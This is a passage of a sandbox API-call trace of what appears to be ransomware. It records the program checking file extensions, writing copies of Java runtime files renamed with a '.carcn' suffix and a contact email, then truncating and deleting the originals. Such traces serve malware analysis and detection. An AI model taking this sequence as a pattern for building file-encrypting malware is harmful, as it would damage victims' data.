(lpString=".ppt") returned 4 [0300.483] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.483] lstrlenW (lpString=".zip") returned 4 [0300.483] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.483] lstrlenW (lpString=".rar") returned 4 [0300.483] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.483] lstrlenW (lpString=".bz2") returned 4 [0300.483] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.483] lstrlenW (lpString=".7z") returned 3 [0300.483] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.483] lstrlenW (lpString=".dbf") returned 4 [0300.483] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.484] lstrlenW (lpString=".1cd") returned 4 [0300.484] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.484] lstrlenW (lpString=".jpg") returned 4 [0300.484] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.484] lstrlenW (lpString=".doc") returned 4 [0300.484] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.484] lstrlenW (lpString=".docx") returned 5 [0300.484] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0300.484] lstrlenW (lpString=".pdf") returned 4 [0300.484] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.484] lstrlenW (lpString=".xls") returned 4 [0300.484] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.484] lstrlenW (lpString=".xlsx") returned 5 [0300.484] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0300.484] lstrlenW (lpString=".ppt") returned 4 [0300.484] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.484] lstrlenW (lpString=".zip") returned 4 [0300.484] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.484] lstrlenW (lpString=".rar") returned 4 [0300.484] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.484] lstrlenW (lpString=".bz2") returned 4 [0300.484] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.484] lstrlenW (lpString=".7z") returned 3 [0300.484] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.485] lstrlenW (lpString=".dbf") returned 4 [0300.485] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.485] lstrlenW (lpString=".1cd") returned 4 [0300.485] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0300.485] lstrlenW (lpString=".jpg") returned 4 [0300.485] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.485] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.485] lstrlenW (lpString="JavaAccessBridge-64.dll") returned 23 [0300.485] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.486] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=142400) returned 1 [0300.486] CloseHandle (hObject=0x338) returned 1 [0300.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0300.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.486] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.486] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.486] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.486] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.566] GetLastError () returned 0x0 [0300.566] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x22c40, lpOverlapped=0x0) returned 1 [0300.575] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x22c50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x22c50, lpOverlapped=0x0) returned 1 [0300.578] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.578] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x102, lpOverlapped=0x0) returned 1 [0300.578] SetEndOfFile (hFile=0x394) returned 1 [0300.578] CloseHandle (hObject=0x394) returned 1 [0300.578] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.578] SetEndOfFile (hFile=0x338) returned 1 [0300.580] CloseHandle (hObject=0x338) returned 1 [0300.580] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.581] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 1 [0300.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.581] lstrlenW (lpString=".doc") returned 4 [0300.581] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.581] lstrlenW (lpString=".docx") returned 5 [0300.581] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0300.581] lstrlenW (lpString=".pdf") returned 4 [0300.581] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.581] lstrlenW (lpString=".xls") returned 4 [0300.581] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.581] lstrlenW (lpString=".xlsx") returned 5 [0300.581] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0300.581] lstrlenW (lpString=".ppt") returned 4 [0300.581] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.581] lstrlenW (lpString=".zip") returned 4 [0300.581] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.581] lstrlenW (lpString=".rar") returned 4 [0300.581] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.581] lstrlenW (lpString=".bz2") returned 4 [0300.581] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.582] lstrlenW (lpString=".7z") returned 3 [0300.582] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.582] lstrlenW (lpString=".dbf") returned 4 [0300.582] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.582] lstrlenW (lpString=".1cd") returned 4 [0300.582] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.582] lstrlenW (lpString=".jpg") returned 4 [0300.582] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.582] lstrlenW (lpString=".doc") returned 4 [0300.582] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.582] lstrlenW (lpString=".docx") returned 5 [0300.582] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0300.582] lstrlenW (lpString=".pdf") returned 4 [0300.582] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.582] lstrlenW (lpString=".xls") returned 4 [0300.582] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.582] lstrlenW (lpString=".xlsx") returned 5 [0300.582] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0300.582] lstrlenW (lpString=".ppt") returned 4 [0300.582] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.582] lstrlenW (lpString=".zip") returned 4 [0300.582] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.582] lstrlenW (lpString=".rar") returned 4 [0300.582] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.583] lstrlenW (lpString=".bz2") returned 4 [0300.583] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.583] lstrlenW (lpString=".7z") returned 3 [0300.583] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.583] lstrlenW (lpString=".dbf") returned 4 [0300.583] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.583] lstrlenW (lpString=".1cd") returned 4 [0300.583] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0300.583] lstrlenW (lpString=".jpg") returned 4 [0300.583] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.583] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0300.583] lstrlenW (lpString="javacpl.exe") returned 11 [0300.583] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.584] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=80448) returned 1 [0300.584] CloseHandle (hObject=0x338) returned 1 [0300.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0300.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.584] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.584] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.584] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.584] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.585] GetLastError () returned 0x0 [0300.585] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x13a40, lpOverlapped=0x0) returned 1 [0300.605] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x13a50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x13a50, lpOverlapped=0x0) returned 1 [0300.607] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.607] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xea, lpOverlapped=0x0) returned 1 [0300.607] SetEndOfFile (hFile=0x394) returned 1 [0300.607] CloseHandle (hObject=0x394) returned 1 [0300.608] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.608] SetEndOfFile (hFile=0x338) returned 1 [0300.609] CloseHandle (hObject=0x338) returned 1 [0300.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.609] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1 [0300.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.611] lstrlenW (lpString=".doc") returned 4 [0300.611] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.611] lstrlenW (lpString=".docx") returned 5 [0300.611] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0300.611] lstrlenW (lpString=".pdf") returned 4 [0300.611] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.611] lstrlenW (lpString=".xls") returned 4 [0300.611] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.611] lstrlenW (lpString=".xlsx") returned 5 [0300.611] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0300.611] lstrlenW (lpString=".ppt") returned 4 [0300.611] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.611] lstrlenW (lpString=".zip") returned 4 [0300.611] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.611] lstrlenW (lpString=".rar") returned 4 [0300.611] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.611] lstrlenW (lpString=".bz2") returned 4 [0300.611] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.611] lstrlenW (lpString=".7z") returned 3 [0300.611] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.611] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.612] lstrlenW (lpString=".dbf") returned 4 [0300.612] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.612] lstrlenW (lpString=".1cd") returned 4 [0300.612] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.612] lstrlenW (lpString=".jpg") returned 4 [0300.612] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.612] lstrlenW (lpString=".doc") returned 4 [0300.612] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0300.612] lstrlenW (lpString=".docx") returned 5 [0300.612] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0300.612] lstrlenW (lpString=".pdf") returned 4 [0300.612] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0300.612] lstrlenW (lpString=".xls") returned 4 [0300.612] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0300.612] lstrlenW (lpString=".xlsx") returned 5 [0300.612] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0300.612] lstrlenW (lpString=".ppt") returned 4 [0300.612] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0300.612] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.612] lstrlenW (lpString=".zip") returned 4 [0300.612] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0300.612] lstrlenW (lpString=".rar") returned 4 [0300.612] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0300.612] lstrlenW (lpString=".bz2") returned 4 [0300.613] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0300.613] lstrlenW (lpString=".7z") returned 3 [0300.613] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0300.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.613] lstrlenW (lpString=".dbf") returned 4 [0300.613] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0300.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.613] lstrlenW (lpString=".1cd") returned 4 [0300.613] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0300.613] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe") returned 50 [0300.613] lstrlenW (lpString=".jpg") returned 4 [0300.613] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0300.613] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.613] lstrlenW (lpString="javafx_font_t2k.dll") returned 19 [0300.613] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.614] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=538176) returned 1 [0300.614] CloseHandle (hObject=0x338) returned 1 [0300.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0300.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.614] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0300.614] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.614] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.615] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0300.615] GetLastError () returned 0x0 [0300.615] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x83640, lpOverlapped=0x0) returned 1 [0300.646] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x83650, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x83650, lpOverlapped=0x0) returned 1 [0300.657] ReadFile (in: hFile=0x338, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.657] WriteFile (in: hFile=0x394, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0xfa, lpOverlapped=0x0) returned 1 [0300.657] SetEndOfFile (hFile=0x394) returned 1 [0300.658] CloseHandle (hObject=0x394) returned 1 [0300.658] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.658] SetEndOfFile (hFile=0x338) returned 1 [0300.664] CloseHandle (hObject=0x338) returned 1 [0300.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.664] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 1 [0300.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.664] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.664] lstrlenW (lpString=".doc") returned 4 [0300.665] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.665] lstrlenW (lpString=".docx") returned 5 [0300.665] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0300.665] lstrlenW (lpString=".pdf") returned 4 [0300.665] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.665] lstrlenW (lpString=".xls") returned 4 [0300.665] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.665] lstrlenW (lpString=".xlsx") returned 5 [0300.665] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0300.665] lstrlenW (lpString=".ppt") returned 4 [0300.665] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.665] lstrlenW (lpString=".zip") returned 4 [0300.665] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.665] lstrlenW (lpString=".rar") returned 4 [0300.665] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.665] lstrlenW (lpString=".bz2") returned 4 [0300.665] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.665] lstrlenW (lpString=".7z") returned 3 [0300.665] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.665] lstrlenW (lpString=".dbf") returned 4 [0300.665] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.665] lstrlenW (lpString=".1cd") returned 4 [0300.665] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.665] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.665] lstrlenW (lpString=".jpg") returned 4 [0300.666] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.666] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll") returned 58 [0300.666] lstrlenW 